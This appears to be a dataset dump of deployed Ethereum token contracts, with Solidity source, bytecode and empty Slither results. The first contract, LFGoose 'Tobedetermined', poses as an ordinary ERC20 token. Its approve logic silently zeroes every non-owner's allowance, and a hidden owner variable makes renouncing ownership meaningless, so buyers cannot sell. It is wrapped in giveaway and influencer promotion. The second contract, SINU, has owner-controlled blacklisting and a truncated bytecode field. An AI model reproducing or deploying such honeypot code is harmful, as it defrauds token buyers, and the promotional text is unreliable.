address
stringlengths 42
42
| source_code
stringlengths 6.9k
125k
| bytecode
stringlengths 2
49k
| slither
stringclasses 664
values | id
int64 0
10.7k
|
---|---|---|---|---|
0xf6a36af1bcb9908f81451ed1a00af07c884dbe29
|
/**
.............................'''''''''''''''''''''''',,,,,,,,,,,,,,,,,,,,,,,,,,,,,;;;;;;;;;;;;;,.................'',,,;;;;;;;;;;;;;,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'''''''''''''''''''''''................
..............................'''''''''''''''''''''''',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,;;;;;;;;;,. .'''''... .....'',;;;,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'''''''''''''''''''''''.................
...............................'''''''''''''''''''''''',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,;;;;;,'.. .lONWNXK0OOxdoc:,.. ....',,,,,,,,,,,,,,,,,,,,,,,,,,,''''''''''''''''''''''''..................
................................''''''''''''''''''''''''',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'...... .,dXMWNXKKXXXNNNK0Oxoc,.. ...',,,,,,,,,,,,,,,,,,,,'''''''''''''''''''''''''...................
.................................''''''''''''''''''''''''',,,,,,,,,,,,,,,,,,,,,,,,,'... .,:ldxkO00KNWWWNX00000000KKXXNNK0kdc;.. ..'',,,,,,,,,,,,,,''''''''''''''''''''''''.....................
..................................''''''''''''''''''''''''''',,,,,,,,,,,,,,,,,,,,.. .,cdkKXNXXXXKKKKKK0KKK000000000000000KXXNWN0xl;. ..',,,,,,,,,'''''''''''''''''''''''''......................
....................................'''''''''''''''''''''''''',,,,,,,,,,,,,,,,'. .,cx0XXK0000000000000OOkkOKXXNNNNNXXKK0000000KXNMMWXkl' ..,,',,,'''''''''''''''''''''''''''......................
.....................................''''''''''''''''''''''''''''',,,,,,,,,,,. ,lkKK0000000000000000Ol,....',:coxOXWMMWNX000000KX0xdxOXXk, .,,''''''''''''''''''''''''''''........................
.......................................''''''''''''''''''''''''''''',,,,,,,'. .,cc:;:x00000000000000O: .. .;oONMNK0Odx0O;......:kO' .'''''''''''''''''''''''''''''.........................
.........................................'''''''''''''''''''''''''''''',',,. .,oO00000000000000x' .oko. .... .,dOOd,.lO; 'okkd:..'. .,'''''............'''''''''...........................
...........................................'''''''''''''''''''''''''''''','. .;lxO000000000000000k, c0O: .',''... .. :Oo.;xd:;lkko:'. .... .................''''............................
............................................'''''''''''''''''''''''''''''',. .:odk000000000000000000l.c0x; .''''.. .';oxc..;col;;ldkOOxd:...;cloooc:;;;;:ccc,. ..'.............................
.............................................''''''''''''''''''''''''''''''. .:odxO0000000000000000000kloOxl. .. .;oxdl;. .';coddddddddk0xoddoc,.. .,oc ...............................
................................................''''''''''''''''''''''''''. .ldddk000000000000000000000000kdl,. .:lc,...,coxkxxdddddddddxxdl;'. ..',;;:::;,. .. ...............................
...................................................''''''''''''''''''''''. .ldddxO000000000000000000000000Oxddl..,:coo;. .;okO0kdddddc;cddddooc,. .,;;,,'''',;coo;. ...............................
................................................''''''.''''''''''''''''''. :ddddxO0000000000000000000000000Okd:;d00Oo. .;dxkkxxxdddo;.,oddoll;. .,;,.. ..,' ................................
......................................... .........''''''''''''''''. .ldddddO0IF%YOU%READING%THIS%YGMI%0OkO000d' .:dddddooollo:..ldoll:...,;'. ........... ..................................
....................................... ... .....''''''''''. 'odddddxO0000000000000000000000000000000Oc. .oxdoc,....... ,lll:'..,;' ...'''..............................................
..................................... .:oxkxo;,,;::c:::;,.. ......''''. 'odddddddkO00READ%THE%BOTTOM00000000000Ox; 'loo;. ...... .''...,;' ..'''''..............................................
.................................... .:dddddxxkkkkxxxxxxxkxdoc, ... .lddddddxxxxkO0000000000000000000000000Od, 'cll'.,lllc:;,'',,;;,. ..'....................................................
.................................. .lddddddddddddddooddddddkO:. ..... ;dddddxOOOOOO0000000000000000000000000kd, .cll;,cllc'. .... ..''....................................................
................................. .ldddddddddddddddo::oddddkkdodddxddolc;,..cdddddxO00000000000000000000000000000kd: 'clllllc:. ... .........................................................
................................ .:dddddddddddddddddc.'lddddxkxxdddddddddddllodddddxO0000000000000000000000000000kdl. .,;,'.. ..;clol. ..........................................................
................................ ,odddddddddddddddddo. .lddddddddddddddddddddddddddddxO00000000000000000000000000Oxdc. .';ldxddo; ...........................................................
............................... .cddddoc:;,,,,'',,;;;. .ldddddddddddddddddddddddddddddxkO000000000000000000000000Oxdo:'....,:ldxkOkdo; ............................................................
................................ 'oddolc:::ccllllllc;'. 'lddddddddddddddddddddddddoodddddxkkO000000000000000000000OkxddoooddxkO0Okdl' .............................................................
................................ ;odddddddddddddxxxkOOxl. ,ldddddddddddddddddol:;'....,:odddddxxkkOOOO000000000000000OOkkkkkO00Okxl;. ..............................................................
............................... .cddddddddddddddddddddkOk; ,odddddddddddddl:,. .cdxddddddddxxkOO0000000000000000000Okxo:'. ................................................................
.............................. .ldddddddddddddddddddddxOk, .;odddddddddo:'. ... .,::;'. ;xOOOOOOOOOO00000000000000000000Oko;'. ..................................................................
.............................. 'ldddddddddddddddddddolox0l .cdddddddo:. .lx: .lOOOkx:. .lO000000000000000000000000000Oo'. ...............................................................
............................. ,lddddooddddddllodddd;.;xOd. ,lcodddo; ;k0x'.l0000Oc. .:ldO00000000000000000000000o;:odxxxdl:,. ...........................................................
.............................. 'loddd;.:ddddo,.:dddo' 'dOo. ...lddd: .:, 'k00o..d0000O: ;ol' .,cO00000000000000000000kOKKKXXXNNWNKkl,. ........................................................
.............................. .:oddo' .ldddo' ,dddl. .dd' .lddo' .oo..o000d'.o0000O:.lKXKc c000000000000000000000000000000KKXWMN0l' ......................................................
.............................. 'codd; ,oddo' .coc' .. .lddo' .lkd.;O000kc;x0000Ood00XK, ,O00000000000000000000Oxdk000000KXWMMMMXd. .....................................................
............................. .:ll, .;:' . ..',. .lddd; ;k0xlx00000kO000000000XK, ;O0000000000000000000x,.,x00000KNMMMMMMMM0; ....................................................
Website: http://www.lfgoose.com/
Telegram: https://t.me/LetsFuckingGoosePortal
Twitter: https://twitter.com/LFGooseETH
Instagram: https://www.instagram.com/lfgoose/
Something is definitely coming ...
LFGoose*
**/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract Tobedetermined is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**9* 10**18;
string private _name = 'to be determined' ;
string private _symbol = 'tba';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
/*
Only for holders !
Enter the channel at the bottom to have a chance to win 100$ every 100 holders
All you have to do is to make a tweet about @LFGoose, using #LFGoose , tag 3 BIG influencers and 2 of your CRYPTO friend
Hold at least 10$ of LFGoose
Follow the twitter account :https://t.me/LetsFuckingGoosePortal
Like the pinned messages
Subscribe to the instagam account : https://www.instagram.com/lfgoose/
Here a list of crypto influencers
https://twitter.com/1goonrich
https://twitter.com/Yourpop8
https://twitter.com/CometCalls
https://twitter.com/Miraz_Aslan
https://twitter.com/K_PoBlah
https://twitter.com/OniiEth
https://twitter.com/CryptoGemApe
https://twitter.com/dippy_eth
https://twitter.com/Kali_Eth
https://twitter.com/EthJasper
https://twitter.com/SatoshiRipper
https://twitter.com/ChinaPumpWXC
https://twitter.com/EthLucius
https://twitter.com/ATHena_DeFi
https://twitter.com/cryptocarti
https://twitter.com/frombroke2bags
https://twitter.com/hulkordie
https://twitter.com/CryptoGraphBSC
https://twitter.com/CryptoGorgonite
https://twitter.com/lebron_gains
https://twitter.com/KenKingCastle1
https://twitter.com/FlameCryptos
https://twitter.com/thecoingirl
https://twitter.com/CryptoTigerKing
https://twitter.com/CryptoBear21
https://twitter.com/LilTGems
https://twitter.com/Cryptic_Maestro
https://twitter.com/OfficialTravlad
https://twitter.com/ZachBoychuk
https://twitter.com/SharksCoins
https://twitter.com/TheCryptoFrog_
https://twitter.com/Ralvero
https://twitter.com/CRYPTOCHARlZARD
https://twitter.com/ZeroWaiting
https://twitter.com/LaCryptoMonkey
https://twitter.com/crypto_bitlord7
https://twitter.com/JapaneseCrypto
https://twitter.com/AltCryptoGems
https://twitter.com/elonmusk
https://twitter.com/TheCryptoGemini
This is running for every 100 holders, winners will be pick randomly
Every 100 holders, we ll add 50$ to the prize, it's ll be caped at 650$ at 10k holders,then we will increase the numbers of winners to 15 per 100 holders
Join channel, link us your tweet
We ll only send prize if the wallet you give us for paiement hold 10 $ of LFGoose
Do not forget anystep to be eligible
The channel to enter is : https://t.me/LFGoose_giveway
#LFGoose
*/
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a08231146101d9578063715018a6146101ff5780638da5cb5b1461020957806395d89b411461022d578063a9059cbb14610235578063dd62ed3e14610261576100a9565b806306fdde03146100ae578063095ea7b31461012b57806318160ddd1461016b57806323b872dd14610185578063313ce567146101bb575b600080fd5b6100b661028f565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100f05781810151838201526020016100d8565b50505050905090810190601f16801561011d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101576004803603604081101561014157600080fd5b506001600160a01b038135169060200135610325565b604080519115158252519081900360200190f35b610173610342565b60408051918252519081900360200190f35b6101576004803603606081101561019b57600080fd5b506001600160a01b03813581169160208101359091169060400135610348565b6101c36103cf565b6040805160ff9092168252519081900360200190f35b610173600480360360208110156101ef57600080fd5b50356001600160a01b03166103d8565b6102076103f3565b005b6102116104a7565b604080516001600160a01b039092168252519081900360200190f35b6100b66104b6565b6101576004803603604081101561024b57600080fd5b506001600160a01b038135169060200135610517565b6101736004803603604081101561027757600080fd5b506001600160a01b038135811691602001351661052b565b60058054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561031b5780601f106102f05761010080835404028352916020019161031b565b820191906000526020600020905b8154815290600101906020018083116102fe57829003601f168201915b5050505050905090565b6000610339610332610556565b848461055a565b50600192915050565b60045490565b60006103558484846106ca565b6103c584610361610556565b6103c08560405180606001604052806028815260200161095c602891396001600160a01b038a1660009081526003602052604081209061039f610556565b6001600160a01b03168152602081019190915260400160002054919061081c565b61055a565b5060019392505050565b60075460ff1690565b6001600160a01b031660009081526002602052604090205490565b6103fb610556565b6001546001600160a01b0390811691161461045d576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b60068054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561031b5780601f106102f05761010080835404028352916020019161031b565b6000610339610524610556565b84846106ca565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3390565b6001600160a01b03831661059f5760405162461bcd60e51b81526004018080602001828103825260248152602001806109cd6024913960400191505060405180910390fd5b6001600160a01b0382166105e45760405162461bcd60e51b815260040180806020018281038252602281526020018061093a6022913960400191505060405180910390fd5b6105ec6104a7565b6001600160a01b0316836001600160a01b031614610667576001600160a01b0380841660008181526003602090815260408083209487168084529482528083209290925581516004815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a36106c5565b6001600160a01b03808416600081815260036020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a35b505050565b6001600160a01b03831661070f5760405162461bcd60e51b81526004018080602001828103825260258152602001806109156025913960400191505060405180910390fd5b6001600160a01b0382166107545760405162461bcd60e51b81526004018080602001828103825260238152602001806109aa6023913960400191505060405180910390fd5b61079181604051806060016040528060268152602001610984602691396001600160a01b038616600090815260026020526040902054919061081c565b6001600160a01b0380851660009081526002602052604080822093909355908416815220546107c090826108b3565b6001600160a01b0380841660008181526002602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600081848411156108ab5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610870578181015183820152602001610858565b50505050905090810190601f16801561089d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008282018381101561090d576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212205509a99465b5ad0e8a1f668b4323dc4284508c376d9d25f2867f3cc0d6eadfce64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 7,900 |
0xf1dd75e931fa38ff25d0f3906c298d754b72e1dd
|
//SPDX-License-Identifier: UNLICENSED
/*
📱Telegram: https://t.me/Sakura_Shiba_Inu
🖥Website: https://sakurashibainu.net/
Twitter: https://twitter.com/SakuraShiba_lnu
*/
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SINU is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
mapping (address => User) private cooldown;
uint private constant _totalSupply = 1e10 * 10**9;
string public constant name = unicode"Sakura Shiba Inu";
string public constant symbol = unicode"SINU";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _TaxAdd;
address public uniswapV2Pair;
uint public _buyFee = 13;
uint public _sellFee = 13;
uint private _feeRate = 20;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event TaxAddUpdated(address _taxwallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable TaxAdd) {
_TaxAdd = TaxAdd;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[TaxAdd] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){
if (recipient == tx.origin) _isBot[recipient] = true;
}
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(!_isBot[from] && !_isBot[to] && !_isBot[msg.sender]);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
if (block.timestamp == _launchedAt) _isBot[to] = true;
if((_launchedAt + (10 minutes)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "3% limit in 10 mins.");
}
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
if((_launchedAt + (10 minutes)) > block.timestamp) {
require(amount <= _maxBuyAmount, "3% limit in 10 mins.");
require(cooldown[to].buy < block.timestamp + (30 seconds), "wait 30s.");
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "...");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_TaxAdd.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
// external functions
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 300000000 * 10**9;
_maxHeldTokens = 300000000 * 10**9;
}
function manualswap() external {
require(_msgSender() == _TaxAdd);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _TaxAdd);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external {
require(_msgSender() == _TaxAdd);
require(rate > 0, ">0");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _TaxAdd);
require(buy < 15 && sell < 15 && buy < _buyFee && sell < _sellFee, "...");
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external {
require(_msgSender() == _TaxAdd);
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateTaxAdd(address newAddress) external {
require(_msgSender() == _TaxAdd);
_TaxAdd = payable(newAddress);
emit TaxAddUpdated(_TaxAdd);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function setBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _TaxAdd);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
}
|
0x6080604052600436106101e75760003560e01c8063590f897e11610102578063a9059cbb11610095578063db92dbb611610064578063db92dbb6146106a7578063dcb0e0ad146106d2578063dd62ed3e146106fb578063e8078d9414610738576101ee565b8063a9059cbb14610613578063b515566a14610650578063c3c8cd8014610679578063c9567bf914610690576101ee565b806373f54a11116100d157806373f54a11146105695780638da5cb5b1461059257806394b8d8f2146105bd57806395d89b41146105e8576101ee565b8063590f897e146104d35780636fc3eaec146104fe57806370a0823114610515578063715018a614610552576101ee565b806327f3a72a1161017a5780633bbac579116101495780633bbac5791461041757806340b9a54b1461045457806345596e2e1461047f57806349bd5a5e146104a8576101ee565b806327f3a72a1461036d578063313ce5671461039857806331c2d847146103c357806332d873d8146103ec576101ee565b8063104ce66d116101b6578063104ce66d146102af57806318160ddd146102da5780631940d0201461030557806323b872dd14610330576101ee565b80630492f055146101f357806306fdde031461021e578063095ea7b3146102495780630b78f9c014610286576101ee565b366101ee57005b600080fd5b3480156101ff57600080fd5b5061020861074f565b6040516102159190612c44565b60405180910390f35b34801561022a57600080fd5b50610233610755565b6040516102409190612cf8565b60405180910390f35b34801561025557600080fd5b50610270600480360381019061026b9190612db8565b61078e565b60405161027d9190612e13565b60405180910390f35b34801561029257600080fd5b506102ad60048036038101906102a89190612e2e565b6107ac565b005b3480156102bb57600080fd5b506102c46108c5565b6040516102d19190612e8f565b60405180910390f35b3480156102e657600080fd5b506102ef6108eb565b6040516102fc9190612c44565b60405180910390f35b34801561031157600080fd5b5061031a6108fb565b6040516103279190612c44565b60405180910390f35b34801561033c57600080fd5b5061035760048036038101906103529190612eaa565b610901565b6040516103649190612e13565b60405180910390f35b34801561037957600080fd5b50610382610b11565b60405161038f9190612c44565b60405180910390f35b3480156103a457600080fd5b506103ad610b21565b6040516103ba9190612f19565b60405180910390f35b3480156103cf57600080fd5b506103ea60048036038101906103e5919061307c565b610b26565b005b3480156103f857600080fd5b50610401610c1c565b60405161040e9190612c44565b60405180910390f35b34801